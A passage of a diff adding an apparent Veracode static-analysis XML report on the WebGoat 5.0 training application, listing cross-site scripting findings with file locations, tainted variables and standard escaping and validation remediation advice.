+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"20\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable message.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HttpSplitting.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.HttpSplitting\"
+        functionprototype=\"apache.ecs.Element doHTTPSplitting(session.WebSession)\"
+        functionrelativelocation=\"55\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"221\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"1\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"230\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"241\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"263\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
